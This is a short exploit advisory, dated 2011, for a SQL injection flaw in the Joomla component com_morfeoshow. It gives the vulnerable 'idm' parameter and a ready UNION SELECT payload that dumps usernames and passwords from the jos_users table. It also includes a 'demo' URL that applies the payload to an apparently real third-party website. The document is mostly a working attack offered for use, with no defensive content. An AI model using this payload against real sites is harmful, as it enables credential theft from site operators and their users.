Joomla Morfeoshow SQL Injection

`#############################################################  
Joomla Component com_morfeoshow SQL Injection Vulnerability  
#############################################################  
  
  
# Author : Th3.xin0x  
  
# Greetz : P0fk - ksha - S[e]C -seth - pks - xacks - OzX All My Friends :)  
  
# special thanks to: www.mitm.cl - https://foro.undersecurity.net  
  
# Name : Joomla com_morfeoshow  
  
# Bug Type : SQL injection  
  
  
  
+--+ Example:  
site.com/index.php?option=com_morfeoshow&task=view&gallery=1&Itemid=114&Itemid=114&idm=  
  
  
+--+ EXPLOIT :  
+and+1=0+union+select+1,2,concat(username,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+jos_users+--+  
  
  
+--+ DEmO  
  
http://www.ucinf.cl/index.php?option=com_morfeoshow&task=view&gallery=1&Itemid=114&Itemid=114&idm=1015+and+1=0+union+select+1,2,concat%28username,0x3a,password%29,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+jos_users+--+  
  
  
[2011-06-26]  
`